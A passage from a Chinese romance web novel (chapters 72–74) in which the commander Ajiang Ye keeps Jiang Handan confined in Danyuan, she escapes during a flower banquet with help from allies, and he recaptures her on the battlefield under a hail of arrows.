可现在却是夤夜急急而归,看上去很像夺路而逃。 林大任不知发生了何事,派去澹园的人又连门也没能进去,林大任急得团团转。 林知春给兄长斟了一杯茶:“若有大事,澹园的何先生自会来找李大人。” 虽然李思政没有在明面上承认和姜家的关系,但却在与严何之的私交上被林知春看出了端倪。 林知春今年已经二十岁,女子到此时还未出嫁,已经算很晚了。林大任却不敢催促——林知春就是他的主心骨,主心骨不在,他的前程早晚要完。 “大哥——” 门外忽然传来林长河的一声大叫,声音里满是恐惧。 林大任皱眉,这个哥哥连妹妹的一根指甲盖都比不上,让他去瞧瞧澹园的动静,他就害怕成这样。 林大任迎出去,林长河踉跄扑进他怀中,面色惨白,手指着身后:“他、他他来了……” 林长河声音抖得厉害,林大任一时没听清,林知春脸色微变,走近来:“是夜统领吗?” 林长河来不及回答,阿夜的身影已经从雨夜中走出来。 他没有穿铠甲,一身黑衣被雨水湿透,眼神冰冷,不带一丝人气。 林大任扶着弟弟,满面堆笑地招呼,但阿夜充耳不闻,一步步走近,最终在林知春面前停下。 林大任心头猛跳:阿夜是为知春来的! 林知春聪明绝顶,也同样眼高于顶,等闲男子根本看不入眼。但自从阿夜来到庆州杀了鬼见愁开始,林知春便说过一句话:“庆州从此要变天了,哥哥,此人绝非池中物,他就是你接下来要抱紧的大腿。” 林大任拍起马屁来不遗于力,并时常为妹妹制造机会,只可惜这位玄甲修罗好像真是从地狱里爬出来的恶鬼,对女人没有一点兴趣。 好不容易在前段日子,林知春受严何之的邀请,为澹园训练一批侍女。 “澹园上下俱是粗人,统领的要求又十分细致,整个庆州城属小姐最是兰心蕙质,还请小姐施以援手,帮在下这个大忙。” 林知春当然不会放过任何一个可以和澹园打交道的机会,当下含笑应允,表示自己必定竭尽所能。 林知春来到澹园,开始训练侍女。 对于侍女的挑选可以看出阿夜对女人的喜好,林知春用心观察,却陷入了迷茫。 侍女共有二十人,但其中十二人都是做些杂事,真正近身侍候的只有八人。 这八人,无论相貌、性情、谈吐、爱好,全然不同。 有温柔安静的,有活泼可爱的,有甜净俏丽的,有明艳大方的……甚至在每个人的特点上,阿夜还有要求,让温柔的更加温柔,安静的更加安静,活泼的更加活泼,可爱的更加可爱…… 林长河认为这就叫博爱,又称花心,但阿夜对这八人并没有表示过喜爱或亲近之意,他看上去好像只是把这些人当成了工具,让林知春照着他想要的样子去打磨成形。 林知春照做了。 随后便是细致的要求。 茶水不可太烫,亦不可太凉,任何时候都要保证温热。 浴汤里要加牛乳,还要加玫瑰花瓣。 洗手需三遍,一遍玫瑰清露水 ,一遍牛乳,一遍清水,最后再涂抹香膏。 …… 林知春终于明白这些侍女并不是为阿夜自己准备的,她透过这些细致的习惯窥见了阿夜心中有个人。 他在提到这些的时候,神情温和,目光清朗,像是信徒在为自己的神明准备一场虔诚的祭献。 价值千金的月下徊,居然只拿来洗手……林知春无法想象那是什么人。 “统领大人稍候。”林知春飞快行了一礼,从房中拿来那只香膏。 这是她难得的心血来潮之举,那个人太遥远,她无法观察,无法分析……只有抓住一点离那个人近一些的东西,心里才会觉得踏实一些。 “我借来只为观摩,从未动用,统领大人可以查看。”林知春双手奉上香膏,眼中含着一点泪意,冰清玉洁的脸上平日里难得流露的脆弱,“大人冒雨前来,可见此物贵重。我实不知,无心冒犯,还望大人恕罪。” 林长河早已被阿夜吓得腿软,林大任脸上虽然还在笑,但额头都在冒冷汗了——阿夜这般模样太过吓人,他觉得阿夜随时能把知春的咽喉撕了。 “妹妹,你也太不懂事,想要香膏哥哥自会给你买,你怎么能去借统领大人的东西!”林大任说着向阿夜陪罪。 阿夜站在雨中,本来已经准备伸向林知春脖颈的手,转向拿起了香膏。 他没有说一句话,转身就走。 哥哥……妹妹…… 菡萏也是这般有哥哥疼爱的妹妹。 “啊哟……”待人已经看不见影子了,林大任扶着椅子坐下,“到底是什么香膏这么值钱?妹啊,你可吓死老哥了。” 林知春望着阿夜离开的方向,脸上一片冷漠:“确实很值钱。” 不过更值钱的,显然是那个人。 她可真想见一见,到底是什么样的人,能让这个铁石心肠的男子痴心若此。 * “统领,请留步!” 阿夜离开府衙,正在翻身上马之际,李思政从里面打着伞冲了出来。 阿夜深夜归来的消息惊醒了李思政,他马上就来到府衙等消息,此时忙问道:“统领急急归来,不知西山战况如何?叛军可有剿灭?接下来统领大人有何打算?” 阿夜握紧手里的香膏,继续上马,雨大如注,他道:“联合景州,准备应战。” 李思政大惊:“叛军竟猖狂若此,要打到庆州来了?!” “不,”阿夜望向京城的方向,“从现在起,我是叛军了。” * 阿夜回到澹园的时候,天色已经将明。 一路在马背上颠簸辛劳,姜菡萏睡得正沉。 小楼帘幕四垂,帘外雨声潺潺。 阿夜轻轻掀开帘帐,动作轻盈无声。 姜菡萏的手搁在被子上,杏红缎子被面,衬得双手白皙如玉。 阿夜打开盒子,挑出一点香膏,在掌心慢慢揉开。 这是在很久之前,他就观摩过许多次的动作。 那个时候,这世上他最羡慕的人是阿福她们。 因为她们每次都可以给菡萏涂香膏。 此时,香气幽幽地弥漫在帘幕间,香膏被掌心的热度化开,轻轻涂抹到姜菡萏的手背上。 姜菡萏眉头皱了一下,但手上被温热的触感包围,睡梦中还嗅到了熟悉的香气,她的眉头又渐渐松下去。 他拧断别人脖子的手指轻若羽毛,仿佛就是为此而生,而非用来杀人。 菡萏,菡萏。 阿夜半跪在床前,在黑暗中完成了从前的梦想,在黑暗中一边痛苦,一边甜蜜。 甜馥的玫瑰香气充满了他全部的世界。 菡萏……就是他的全部。 第72章 第72章万事俱备,只欠东风…… 姜菡萏醒来的时候,发现雨停了。 窗外没有雨声,也没有说话声。 帘幕低垂,四下悄然,空气里有淡淡的玫瑰香气——居然是月下徊的味道。 她又吸了吸鼻子闻了闻,最终确定香味就来自于自己手上,货真价实的月下徊香,不是昨晚的寻常玫瑰味道。 “……”她的动作顿住了,然后猛地掀开丝帐。 帐外阿夜盘膝坐在地上,静静地望着她,习惯性在看到她的第一时间露出一个笑容,但当看清她紧绷的表情时,他扬起的嘴角慢慢落下去,脑袋也跟着低下。 “你昨晚对我做什么了?”姜菡萏恨恨地看着他——都是他干的好事,他看着倒委屈上了! 阿夜没有回答,掏出怀里的香膏,递过去。 姜菡萏明白了:“你涂的?” 阿夜的头低得更低。 姜菡萏恼恨于自己的无知无觉,又忍不住放下丝帐,好像这一层薄薄的丝料能阻挡住他似的——其实这里已经是他的地盘,无论他真想对她做什么,她根本无力反抗。 可他这垂眉搭眼的样子,太像一只犯了错的大狗子,让姜菡萏生起一点希望。 “阿夜,”她在帐内低声道,“降仙台爆炸那日,陛下所说的话你还记得吗?” 她的语气里没有愤怒也没有责怪,平和得像从前一样,阿夜受宠若惊,连连点头。 “十三年前,先帝后因我父亲而死,昭惠太子也因我父亲流落在外。”姜菡萏低声道,“他本应父母双全,一生顺遂,尊贵无极,但因为我父亲的缘故,他从小流落在外,连自己是谁都不知道。” 阿夜不知道她为什么要说这些。但她愿意这样心平气和地跟他说话,他便愿意一直听下去。 “你昨天那么生气,是不是气我以前说只嫁风家皇帝,现在又要嫁许南风,以为我在骗你?其实许南风就是昭惠太子,阿夜,他本就是我该嫁的人。” 阿夜摇头:“不是。” 姜菡萏:“我没有骗你,他真的是昭惠太子。” “我不是因为你骗我,而是因为,你要嫁人。”阿夜看着她,窗外天色阴沉,屋内没有点灯,光线幽暗,阿夜的表情晦暗不明,唯有一双眸子仿佛燃着熊熊火焰,“不论你嫁给谁,我都会带你走。” 而且,那不是生气……即使已经做了这样久的人,他依旧没办法用言语形容出当时的感受。 生气?愤怒?悲伤?绝望? 看到她穿着嫁衣嫁给别人的那一刻,他脑海中只有一个念头。 她要把我扔下了。 她不要我了。 单只是此刻略一回忆,他的胸膛里就像被塞进一块烧红的烙铁,他的拳头握得死紧,才能勉强克制住自己不要失态。 他想抱着她,想抓住她的手,想咬她的脖子,想亲吻她的嘴唇……想尽可能地多碰触她,才能缓解这种仿佛被打入烈火地狱般的焦灼痛苦。 “你——” 好说歹说都说不通,姜菡萏气得甩手就想给他一记耳光。 他不避不让,准备生受。 姜菡萏咬牙,恨恨收回了手。 手腕却被阿夜捉住,他道:“你打我吧,你打我,我心里会好受些。” “我打你有用吗?”姜菡萏忍不住道,“你又不知道疼!” “我知道……”阿夜握着她的手,放到自己的胸口上,眼中满是痛苦之色,“你打我骂我的时候,我心里很疼。” “那为什么不让我走?”姜菡萏哀求道,“哥哥和阿风一定追来了,我不想看到你们打起来!” “让你走,更疼。”阿夜的手不自觉收紧,像是要把她的骨肉融进自己身体里,“太疼了,菡萏,帮帮我,别让我那么疼。” “你……你松手!”姜菡萏咬牙,“疼……是你让我疼!” 阿夜骤然清醒,急忙松开手,起身连退了几步。 他控制不住自己,一想到姜菡萏会离开自己,他就痛苦得要发狂。 “菡萏,你记着,我绝不会放你走,除非我死。” 声音虽低,但语气决然,掷地有声。 说完,他转身往外走。 丝帐内静默了片刻,然后,一只香膏盒子愤怒向他的背影砸去。 他没有避开,任由它砸中,然后在它落地之地接在手中,轻轻放在桌上。 姜菡萏更生气了,砸了个枕头过来:“滚!” 阿夜接过枕头,无声地离开了。 * 姜菡萏在澹园之中可以随意走动,但只要她走近大门,守门的玄甲军便会如临大敌。 她行动都有侍女跟着,离开小楼还有玄甲军随行,别说跑路,哪怕探探外面的消息都做不到。 这些天里,姜菡萏软的硬的都试过了,只要不提离开,阿夜一如既往俯首贴耳,千依百顺,可一旦提到离开,阿夜便像是变了个人似的,不给半点商量的余地。 澹园终日大门紧闭,外面没有半点消息传进来,只有城楼方向隐隐传来战鼓声。 哥哥和许南风在攻城了吗? 姜菡萏焦急,可是澹园上下所有人都对外面的消息守口如瓶,她什么也问不出来。 过了大半个月,姜菡萏见到了严何之。 严何之高瘦身材,明明二十多岁的年纪,眉间已经有了清晰的川字纹。 他的半边衣袖空空荡荡,但并不妨碍他的沉静干练,澹园上下被他打点得井井有条。 他这天一是过来拜见,二是询问姜菡萏可有什么需要。 “太闷了。”姜菡萏道,“你去请几个戏班子杂耍班子,过来给我解解闷。” 严何之:“是。” “还有胭脂水粉、衣裳首饰 ,叫各家多送些东西进来,我慢慢挑选。” “是。” “有没有卖宠物的?猫儿狗儿都行。” “是。” “还有吃食点心,果子蜜饯,都要。” “是。” 姜菡萏:“严先生,你是不是只会说‘是’?” 严何之依然保持着垂手低头的姿势,只是极快地抬了一下眼,视线和姜菡萏的一碰便收,声音依旧古井无波:“是。” 姜菡萏刹那间心里一动,面上作怒:“你可知是谁把你从段家的地牢里救出来?你可知是谁给了你官凭?若没我,世上哪里还有你严何之?!你就是这样报答我的吗?!” 严何之依旧一板一眼道:“小姐恕罪,此地是庆州,所有人都要听夜统领的。” “好你个忘恩负义的东西!” 姜菡萏将桌上的笔墨纸砚扫了一地,侍女们连忙收拾,严何之弯腰拾起书本放回桌上,“小姐息怒,在下告退。” 严何之离开之后,姜菡萏做出怒气犹未止住的样子:“出去,你们都出去!全没有一个好东西!” 侍女们只得退下。 姜菡萏立即拿起那本书,翻开来一看,里面夹了一张纸。 展开来,是一封信。 信是李思政所写。 李思政身为庆州通判,对庆州的情形更加了解,由他执笔了这封信,告诉姜菡萏近来城中情形。 阿夜带着姜菡萏回庆州的第二天,朝廷便派人来庆州宣旨,要阿夜将姜菡萏送还。 阿夜将人赶出城去——这还是李思政与林大任等人拼命阻拦后的结果,阿夜当时已经拔出了刀,准备杀了宣旨太监。 朝廷一贯是先礼后兵,宣旨太监被赶出城,早就兵临城下的姜祯与许南风开始攻城。 庆州的知府虽是林大任,但真正的主人早已是玄甲军。阿夜早有吩咐,玄甲军严阵以待。 虽然同样源自姜家府兵,但玄甲军随着阿夜出生入死多次,刀口舔血,杀人无数,又占据着地利,势不可挡。 姜祯和许南风则拥有更多的兵力,胜在人和。 两军各有输赢,难分高下。 但这样的战事拖得越久,耗的都是人命与国库,庆州百姓惶惶不可终日,北疆商道亦随之断绝,更让李思政担忧的,是大央刚刚结束一场叛乱,此刻又燃起战火,那些原本就蠢蠢欲动的豪强们会借势而起。 到时天下真正大乱,一发不可收拾,苦的还是黎民百姓。 这也正是姜菡萏最担心的事。 只要她能离开庆州,这场战争自然便不用再打下去。 信纸的背面是两幅简单的地图。 一幅澹园地图,一幅庆州地图。 两幅地图上都画出了出逃路线,只要姜菡萏按着路线走,就能离开庆州。 姜菡萏把地图贴在胸口,长长地舒了一口气。 就在这个时候,门从外面被推开。 姜菡萏迅速把信纸塞进怀里。 最开始的那几日,阿夜每次进门前都会问:“菡萏,我能进来吗?” 但每一次姜菡萏都回答他:“不能!” 然后阿夜就知道了,问她永远得不出他想要的回答,于是再也没过。 此时他走进来,姜菡萏猛地转过身,背对着他。 他已经习惯她的冷漠,弯腰把地上散乱的东西捡起来。 “我听说,你很闷?”阿夜道,“要不要我陪你去丹房?” “不,”姜菡萏道,“我只要你放我走。” 阿夜沉默了,忽地,他发出一声低低的狼嚎。 姜菡萏吃惊,以为自己单是一句话就把他气坏了。 很快,一头灰狼疾冲而入,先绕着阿夜猛转了几圈,阿夜低吼一声,灰狼就来到姜菡萏身边。 又一眨眼,接连冲进来两三头狼,毛色各不相同,但同样皮毛发亮,精神抖擞。 它们起先只对阿夜表现出亲昵,随后便随着阿糖一起开始围着姜菡萏嗅个不停,前爪俯地,不停要求姜菡萏跟它们玩耍。 阿夜道:“我不在的时候,让它们来陪你吧。” “……”姜菡萏想到他“不在的时候”是在干什么,就恨得牙痒痒,可是看着他安静的眼神,又很难恨下去。 罢了,反正要不了多久,她就能离开。 她抬起手,在阿夜期待的视线中,摸了阿糖一把。 阿糖很开心,阿夜也露出了笑容。 * 姜菡萏提的要求很快被满足,向来安静的澹园变得热闹非凡,每天都有大量的人员进出。 只是每一个进入澹园的人显然都被警告过,在姜菡萏面前绝口不提城外的战事,只努力讨姜菡萏欢心。 明知道问不出什么,姜菡萏还是拐弯抹角地询问城外的姜祯和许南风如何。 若是一句不问,反而显得异常——阿夜在她身边那么久,自然知道她并不是爱热闹的性子,叫这么多人来一定是别有目的。 单单是这样,姜菡萏还不满意,向阿夜抱怨想找些人聊聊天,问阿夜能不能摆个花筵? 花筵在京中是常事,一年四季花开不断,花筵也不断。 帖子很快送到庆州各家有头有脸的女眷手上。 林知春从林大任手上接过请柬,深深道:“夜统领把她藏在深闺,终于舍得让她出来见人吗?” 与此同时,被藏在深闺的姜菡萏最后一次默出澹园和庆州的逃离路线,和原样对比一丝不岔后,她将信纸和自己默出来的地图一并烧毁。 她逃了之后,阿夜必定大发雷霆,她不能留下任何痕迹,以免他迁怒李思政和严何之。 以阿夜的疯狂,如果知道她的出逃是他们两人策划,他会当场要他们的命。 现在,万事俱备,只欠东风了。 第73章 第73章我希望我姓风,是大央皇…… 自从阿夜入主澹园,澹园就没有开筵席。 昔日名园变得和主人一样神秘,谁也无从得知现在的澹园是何等模样。 今日澹园终于向众人敞开了大门,受邀的客人除了各位官眷,还有各乡绅商贾家中的小姐夫人。 客人的名单由严何之拟选,请林知春帮忙做最后的核定。 林知春作为庆州第一才女兼第一贵女,在任何与女眷相关的事情上帮了澹园许多忙,澹园中的下人们对她十分尊敬。 尤其是侍女们,因为经由她的手中教训,已经把她当半个主子。 花筵一般由女主人召开,但澹园的女主人并没有迎客的打算,来得最早的林知春八面玲珑,让每一名客人都如沐春风。 “不知那位姜小姐到底生得什么模样?”这是女眷们最关心的事情,“林小姐以往随大人入京述职,可曾见过?” “姜家门第高贵,家兄位卑,知春福薄,未能得见。”林知春微笑道,“但想也知道,姜家嫡女,天生的未来皇后,自然是国色天香,倾国倾城。” 大家都笑着说是,转头各自与熟人嘀咕:“倾国倾城……只怕倾的就是咱们这座城!” 一场婚事惹来两军交战,护国名将顿成叛军,众人在话本子里都没有听过这么离奇的,若不是这场仗就在自己家门外打起来,任谁也不敢相信。 “听说了吗?叛军围城之时,玄甲修罗一直守在姜家小姐身边。” “听说玄甲修罗曾是姜家小姐的侍卫!” “我听说是兽奴 ……” “啧啧,想也知道,玄甲修罗定然是在姜家受了太多屈辱,此时得势,自然要想方设法报复。” “确实,那姜小姐说来也可怜,好好的婚事没了,还被玄甲修罗霸占……男人嘛,曾经骑在自己头上的女人现在落进自己手里,那还不是想怎么折腾就怎么折腾?” “今日说是开什么花筵,怕也是想当众羞辱她吧?” 林知春周旋间听到这些,心中冷笑。 她也曾经这样想过,可方才侍女们告诉她的,全然不是那么回事。 她甚至怀疑自己听错了。 怎么可能呢? 那可是令人闻风丧胆的玄甲修罗,竟然在一个女子面前打不还手,骂不还口? 正午时分,花筵的主人终于现身了。 和盛装的客人们相比,她打扮得过于素简。庆州近北地,秋日天寒,她好像很怕冷,已经换上了小毛衣裳,淡绿衣裙上露出内衬的一圈雪白兔毛,乌压压的发髻上没有一点珠翠,只簪了一朵半开的绿菊。 她的神情也懒懒的,仿佛不是来赴宴,而是午睡初醒,随便出来走走。 可厅上所有人都不由自主停下了动作,只觉得秋风吹到此间好像都变得轻柔了,大家连呼吸都不敢大声,怕吹化了这冰清玉洁的雪人儿。 “有劳诸位久候,我来迟了,诸位请入席。” 她身上带着天生的贵气,所有人皆行礼,依言入席,只有林知春尚站在原地,一时没能回过神。 据说姜家为了生出最美的皇后,家主夫人不看出身,只看美貌——林知春从前只当这是戏言,现在看到姜菡萏,她忽然就相信了。 一代一代积攒下来的美貌如此惊人,仅仅是一个眼波流转也让人难以移开视线。 原来……他喜欢的是这样的女子…… “这位是……林家小姐?”姜菡萏道,“来,坐我旁边吧。” 林知春微微吸了一口气,柔声应下。 开宴之后,厅上热闹起来。 姜菡萏吃得不多,话也很少,但人们不敢让席面冷落,你一言,我一语,说得十分热闹。 姜菡萏多数时候只是安静倾听,偶尔会问几句。 但众人入园之前都得过吩咐,胆敢言军事者,杀无赦。 没人敢回答姜菡萏的提问,每次都有人把话题支开。 姜菡萏有些意兴阑珊,吃完筵席接着看戏。 花筵往往会持续到深夜,不过晚宴进行到一半时,姜菡萏大约是觉得有点无聊了,以更衣为由暂时离席。 起身的时候,她问林知春:“听说林小姐棋术了得,不知肯不肯赐教一二?” 林知春忙说“岂敢”,随着姜菡萏一起来到后院书房。 这里是阿夜的书房,林知春经过过数次,却从来没有进来过。 窗下放着棋坪……林知春心中怦然跳动,她竟然不知道他也喜欢下棋。 姜菡萏看林知春神情,就知道林知春对阿夜的了解并不深——阿夜从来不下棋,这棋坪是前两天她让人放在这里,说是要和阿夜下棋的。 两人在灯下对弈,才落了几颗子,严何之带着下人来送上茶水点心,侍女过来上茶。 偏偏姜菡萏正要落子,碰到了侍女的手,侍女手里的茶水洒到了林知春裙子上。 侍女连忙跪下赔罪。 林知春心中虽不悦,自然不会露出,反而温言安慰她。 “阿夜找的这些人,一个个都毛手毛脚。”姜菡萏吩咐道,“带林小姐去我房里换吧。” 侍女都是林知春训练出来,听了这话自然不大高兴,但能进小楼,让她心中一动。 她迫切地想要知道小楼此刻的模样,想要知道阿夜到底喜欢姜菡萏哪一点,单只是脸吗……还是有别的?没有什么比卧房更能看出一个人的底细了。 她顺从地告罪,跟着侍女来到小楼,故意放慢速度,细细在屋中打量。 一切用品都是最好的,但胭脂水粉没动用,首饰妆匣也没有动。首饰里没有大簪,房间里没有花瓶,甚至茶杯茶壶都是木制的…… 林知春意识到了什么——这是在防范,防范住在这里的人弄伤自己。 “!!” 她立即披好衣裳,急急下楼,回到书房。 书房中空空如也,已经没有姜菡萏了。 * 庆州,城门口。 一场短暂的交锋刚刚结束,两边鸣镝收兵。 阿夜罩着面甲,气势一如既往地森冷,但郭俊跟着他久了,莫名从他的眉眼间看出他心情不坏。 方才这场仗有何可圈可点之处吗?郭俊立刻分析起来。 阿夜其实是回味前两天和姜菡萏下棋。 姜菡萏对他没什么好脸色,但也许是困在澹园太过无聊,姜菡萏去他书房找书时,忽然问他想不想下棋。 阿夜立刻道:“想。” 棋盘与棋子很快摆在了书房。 他的书房名为书房,却没多少书,倒是立着不少箭靶兵器架,还有作战沙盘。 他在这里练箭练刀练习战策,从来没有觉得这间屋子有什么不同,可菡萏来了,他忽然觉得这间书房里的兵器太多,书太少,而且椅子上没有锦袱,屋子里也缺个炭盆……不,最好是烧上地龙,这样没有炭火气。 他人生的第一盘棋,就在这样满脑子杂念的情况下开始了。 姜菡萏让他落子,他随手放在了最中间。 “笨蛋阿夜,哪有人起手就下天元啊。” 她这句话是脱口而出,说完自己都愣了一下,没有再开口。 阿夜也没有开口,他为这一句熟悉的亲密怦然心动。 什么时候,菡萏能像以前一样,随意地叫他笨蛋? 还会有那样的时候吗? “景州有一座庙,庙里有一口井,据说喝了井水许愿,特别灵验,求过的人心愿都实现了。”阿夜慢慢道。 姜菡萏拈着棋子:“是吗?你求过吗?” “求过。” 姜菡萏抬起头,很意外。 她可能以为他不信天地鬼神,其实他很信。 人在无助的时候,就会想祈求神佛的帮助。 早在当年她在慈宁宫佛堂旁养伤的时候,他就信了。 他天天跪在佛前,一遍又一遍向佛祖许愿——让她醒来,我愿意折寿十年。 不,二十年。 不,只要她醒来,我可以随时去死。 他不知道佛祖到底听了哪一句,但那不重要,重要的是她醒了。 “菡萏,你想知道我许了什么愿吗?” 姜菡萏低下头,拈子,没接话。 “你是不是猜,我许愿和你在一起?” 姜菡萏更没接话。 近来就是这样,他提到在一起,她提到要走,两个人都会直接当没听见。 因为听见了也没用,彼此都知道对方不会答应。 “不,我许的是一个不可能的愿望——我希望我姓风,是皇室中人。” 姜菡萏的眼中流露出了深深的怜惜。 她不知道,哪怕她语气再凶,脸色再狠,她的眼睛总是出卖她——世上只有她会这样看着他,无论是他是卑贱混沌的兽奴,还是残忍嗜杀的修罗。 “明知不可能,还许这样的愿,是我真的没办法了……可是那天看着你要嫁给许南风,我忽然就想通了。有什么是不可能的?神佛不答应的,我自己答应。神佛不给的,我自己去抢。” 他握住姜菡萏拈子的手,姜菡萏手里的棋子落在棋盘上,发出“嗒”地一下轻响。 “菡萏,不管你是为了什么而找我下棋,我都很高兴。” 他感觉到她的手在他的掌心轻轻颤抖了一下,然后她板着脸问:“还下不下?” “下。”他松开手,落子。 “你下这里是找死。” “我愿意。” …… 这两天的攻城一场接着一场,他一直没有时间回去。今日花筵,不知道菡萏可还开心? 回去之后,不知道她可还愿意跟他再下一场棋? 他骑在马背上,还未走过城门,心已经飞到了澹园,忍不住夹了夹马肚。 城内的小兵们抬着担架、背着箩筐,急急跑 出去抢救伤兵、收拾战场,要趁着城门关闭之间把战死或负伤的兵士们都带回来。 马匹从这群小兵身边飞驰而过。 忽地,一缕气息随风钻进鼻孔。 很稀薄,很遥远,很模糊……但太熟悉了,熟悉到他的身体的反应比脑子更快。 他猛地掉转马头,向城外冲去。 “站住!” 那群小兵已经冲得远了,后面一部分听到命令停下来,前面的却还有些没听见,其中有一人,扔下箩筐就往前飞跑。 “啪”地一声鞭响,马匹带着阿夜像离弦的箭一样向那道人影冲出去。 郭俊大惊失色,鸣镝之后主帅冲锋,对面一定会拼死反击。 果然,对面的清场小兵开始后撤,弓箭手立即就位,刹那间万箭齐发,笼罩着刚刚停歇的战场,以及此时冲向战场的两个人。 “统领!” 郭俊大吼。 “住手!”对面战场的许南风和姜祯也在大吼,“谁让你们放箭的?!菡萏还没回来!” “侯爷交待的。”镇海军的副将沉声回答道,“不计一切代价也要诛杀姜夜,此人不除,天下不宁。” “滚!”许南风怒吼,策马向战场狂奔而去。 不管是什么代价——这个代价不能是姜菡萏! 战场上,姜菡萏还不知道自己已经成为了代价,正在用尽全力跑向对面阵营。 她已经可以看姜家的徾旗,甚至隐隐能在夜色中看见哥哥亮眼的银色铠甲。 可就在这个时候,她听到了奇异的破风声响。 那是箭雨撕裂空气的声音。 她仰起头。 夜沉似水,无星无月,漆黑的天空下,箭矢像密集的黑线那样向着她落下。 而战场的两端,两军的主帅策马向着她狂奔而来。 第74章 第74章求求你,不要走………… 虽不如上一世凄惨,但这一世姜菡萏也算经历过不少生死险境了。 在箭雨降临的前一瞬间,她想到了许多。 澹园这么多天人来人往、络绎不绝的热闹都是为了这一天铺垫,毕竟冷清的澹园要出去一个人不容易,但门庭若市的澹园由严管家送出去一个“客人的下人”,不算太难。 出了澹园她很快按照路线图找到李思政给她安排的接应,换上小兵的衣衫。 城外许南风和哥哥配合着发起一次又一次进攻,将阿夜拖到了晚上。 天这样黑,收拾战场的小兵渺小如蝼蚁,两天没有回澹园的阿夜在收兵后应该会迫不及待往回赶,根本不可能会注意到身边的小兵。 计划由李思政与严何之这二位进士拟定,丝丝入扣,一环扣一环,严密到无懈可击,到底是哪里出了问题?! 阿夜到底是怎么发现她的? 箭雨铺天盖地降下,她的体力也消耗到极限,脚下绊到尸体,整个人向前栽倒。 有动荡的视野中,许南风策马而来,姜祯紧随其后,两个人都离她越来越近。 许南风上半身几乎完全离开了马背,手伸向她。 她极力伸出自己的手。 万箭齐发,战马嘶鸣,黑天寂寂,长风浩荡,就在两人指尖即将相触的那一刻,马蹄声在姜菡萏身后响起。 下一瞬,姜菡萏的腰被人一把捞起,身子如同腾云驾雾,坐在了马背上。 根本来不及回头看,箭雨已至,姜菡萏吓得闭上了眼睛。 阿夜的手不容置疑地将姜菡萏的头按在自己胸前,隔断了她的视线。 姜菡萏动不了,也看不见,只听到耳边“叮叮”之声连响,那是阿夜的刀在格挡箭雨。 她恐惧着的事情没有发生,漫天箭雨,没有一支落在她身上。 她贴着他的铠甲,透过冰冷甲胄听到他胸膛中剧烈的心跳。即使她拼命想要逃离,可她比谁都清楚,他的怀抱就是这世上最安全的地方。 只要有阿夜,她就不会受一点伤。 两位主帅都冲向了战场,镇海军不敢再放箭,收起弓,拔出刀,发起冲锋。 郭俊带着玄甲军也冲到了阿夜身后。 “放下她!”许南风大吼着冲过来,长□□向阿夜,阿夜挥刀便斩。 枪尖在阿夜肩头留下一道伤痕,刀光也划伤了许南风的手臂。 刚刚结束的战火重新燃起,黑暗中两军厮杀成一团。 姜菡萏被阿夜禁锢在怀中。她知道他的力气有多大,可是他从来没有对她用过这么大的力气。哪怕被抢婚的那一日,他也没有抱得这样紧。姜菡萏只觉得箍在自己身上的仿佛不是人类的手臂,而一块钢铁。 这场战争没有持续太久,两边的将士们都发现了,他们的主帅不是在战斗,而是厮杀——两人宛如野兽,根本没有防守,只有一味的进攻。只要能在对方身上留下一道伤口,他们根本不在意自己会不会受伤。 最终这场战事被姜祯叫停——枪尖与刀光就在姜菡萏身边不断闪现,无论是阿夜还是许南风,只要有一次失手,妹妹的命就保不住! 郭俊配合着旧主退兵,阿夜与许南风终于被分开。 “我要杀了他!我要杀了他!”许南风一身是血,疯狂大喊,被镇海军副将带人围住,强制撤退。 阿夜半边脸上全是血迹,有许南风的,也有他自己的。 他死死盯着许南风,眼中全是杀意。 玄甲军中没人能拦得住他,眼看他又要冲上去,郭俊大叫道:“阿夜,别伤了小姐!” 自从阿夜成为夜统领,郭俊已经很久没有唤过这个名字,此时脱口而出。 阿夜猛地顿住,低头看向怀里的姜菡萏。 她穿着小兵的黑衣,头发也扎成小兵的发髻,因为一直被他按在怀前,按得太用力,铠甲的纹路甚至印在了她的脸颊上。 当他终于松开手,姜菡萏的脑袋总算得到自由,她抬起头,眼中蓄满了泪水——大半是疼出来的。 没等她开口说话,阿夜再度把她按在怀中。 她只听见他的胸膛里发出一声狼嚎,在这无光的黑夜中充满痛苦与疯狂。 阿夜做人的时间没有做狼的久,每每情绪激荡之时,人类的语言不足以宣泄,他就会变成狼。 姜菡萏只觉得自己被箍得更紧了——不必再战,他一手策马,一手抱着她,冲回城中。 马蹄踏过长街,直奔澹园。 半路遇见林知春的马车,林知春掀起车帘:“夜统领,您回来得正好,姜小姐今晚颇有异状,我来给你提个醒……” 底下的话卡在林知春的喉咙里,一是因为阿夜充耳未闻,马蹄如飞,根本没有为她停留;二是,在马匹擦肩而过的瞬间,她借着灯笼的光线看清了阿夜怀里的人是谁。 他抱得那样紧,仿佛天上地下再没有什么比怀里的人更加重要。 * 林知春离开的时候只想偷偷报信,并没有告诉他人,澹园中的客人都在等姜菡萏回到席上,花筵未散,戏乐未停,依然是一番热闹景象。 马蹄声踏破宴乐声,阿夜策马长驱直入。 阶旁碍事的菊花被掀翻,喝醉了的下人摇摇晃晃,被马鞭抽飞,惨叫一声跌在筵席前。 席上顿时大乱,客人们花容失色,四处逃窜。 马背上的人根本没有停留,飞驱往后院。 郭俊随后打马进来,在厅前下了马,吩咐玄甲军把客人们送回去。 严何之急急从后院过来:“郭兄,发生何事?” “发生何事?”郭俊一路急奔,累得直喘,“兄弟,小姐在这里人生地不熟,竟然能一个人逃到城外去,何之,你做了什么自己难道不知?还来问我?!” 严何之顿住,然后问道:“小姐呢?” 郭俊望向小楼方向,摇了摇头,深深叹了口气:“今夜不平……要死人啊……” 阿夜那样的神情他从未见过,只见过类似的。 每一次都是血流成河。 * 马匹在小楼前人立而起,阿夜跃下马背。 无论在马上马下,姜菡萏都没有半点自由,阿夜紧紧地把她抱在怀中。 她无法抬头,看不到他的表情,只听见他急促的呼吸。 直到上了小楼,姜菡萏被扔上床榻,身体才能稍稍舒展。 下一瞬,阿夜“呲啦”一声撕开她的衣带。 “不要!”姜菡萏大叫,用手推他,用脚踢他,她害怕极了,“阿夜你不要这样,你走开!” “不,不……” 阿夜低声,声音含糊,与声音一样含糊的是他的脑子,他的大脑一片混乱,只想剥开这层碍事的衣服。 “不要这个……不能穿这个……脱了!脱了!” 姜菡萏根本无力阻止他,小兵衣物在他指下变成纸屑洒落在地上,姜菡萏身上只剩下里衣,她一个劲儿床里缩,真的被他吓到了:“不行……不行……阿夜你不能这样对我……我会恨你……会恨你!” 最后一个字落在空气中,阿夜的手伸向被子,然后下一刻,姜菡萏被松软厚实的丝被裹得严严实实,再一次落进阿夜的怀中。 